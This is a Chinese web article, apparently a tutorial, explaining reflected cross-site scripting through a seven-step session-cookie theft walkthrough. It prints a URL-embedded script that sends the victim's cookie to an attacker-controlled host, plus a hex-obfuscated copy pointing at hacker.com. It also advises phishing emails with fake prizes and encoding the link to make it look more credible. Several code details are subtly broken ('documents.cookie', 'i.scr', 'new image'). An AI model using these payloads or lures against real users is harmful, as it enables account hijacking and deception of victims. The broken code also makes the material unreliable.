当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

跨站点脚本(xss)解析(一)反射型xss漏洞

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

跨站点脚本(xss)即:cross  site script, 也经常存在于web程序中,它是往web页面中插入代码html语句、js语句等。如果服务器端没有对其进行过滤,当用户浏览该网页时,我们插入的代码就会在用户的浏览器中执行。
 
当web应用程序动态地向我们展示信息的时候,就可能存在xss漏洞。通常我们请求的url中会包含一个文本型参数,并将这个文本展现给用户。例如:?showmessage=helloworld, 这样如果服务器不进行过滤,就存在xss漏洞。我们可以把helloworld改成alert(‘helloworld’),这样就会在浏览器中弹出一个helloworld消息框,如果改成alert(documents.cookie)呢,就可以获取当前用户的登陆cookie和session了。
 
如何利用这种xss漏洞呢,最简单的方式是一名登陆用户的会话,这样我们就可以以他的身份登陆系统了。攻击步骤:1. 用户登陆某web系统,比如 2. 攻击者将自己设计的URL发送给用户3.用户点击攻击者发送的URL 4.web系统对攻击者的URL做出解析5.攻击者的代码在用户的浏览器中执行   6.用户的浏览器将用户登陆web系统的cookie和session等信息发送给攻击者7.攻击者利用cookie和session登陆web系统。
 
第一步中: 用户登录系统,系统会往浏览器中写入cookie,set-cookie: sessionId=12345678966000.
 
第二步中:攻击者可以构造这样的URL, /search.php?showmessage=<script>var+i=new+image;+i.scr=””%2bdocuments.cookie;</script>, 发送给用户。
 
第三步中: 用户一旦点击攻击者的URL,就会向 发送请求消息。
 
第四步中:hostname服务器就会解析该url,响应其中的js代码。
 
第五步中: 服务器把showmessage的文本发送给浏览器,浏览器就会执行文本中的js代码。
 
第六步中:js代码为var i=new image; i.src=””+documents.cookie; 执行这段代码,浏览器会把自己在hostname中的cookie发送给,这个网址当然是由攻击者控制。
 
第七步中: 攻击者获得了cookie,涛涛电脑知识网,在自己的浏览器中设置改cookie,www.xuhantao.com,直接访问 ,就会以用户的身份登陆了。
 
之所以要诱使用户点击攻击者发送的URL,是因为①浏览器不允许旧有脚本访问cookie,②只有设置该cookie的站点才有权限读取该cookie。而攻击者的URL中包含的js代码是通过hostname发送到浏览器中,这样就有了读取cookie的权限。
 
现在的问题就是怎么诱使用户点击自己发送的URL,常见的做法是冒充hostname发送电子邮件,发布调查信息或者中奖消息,首先要求用户登陆系统,然后点击链接领取奖品。这样就实施了攻击过程。另外可以给攻击者的URL编码,就更具可信性了。

UTF-8编码:?showmessage=<script>var+i=new+image;+i.scr=””%2bdocuments.cookie;</script>;如果还不可信,再将其中的英文进行16进制编码:%73%65%61%72%63%68 %2E%70%68%70?%73%68%6F%77%6D%65%73%73%61%67%65=%3C%73%63%72%69%70%74%3Evar+i=new+image;+i.src=”%68%74%74%70%3A%2F%2F%68%61%63%6B%65%72%2E%63%6F%6D%2F%22%25%32%62%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E  经过这样的编码,再加上确实是hostname的域名,可信性就很高了。
 

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1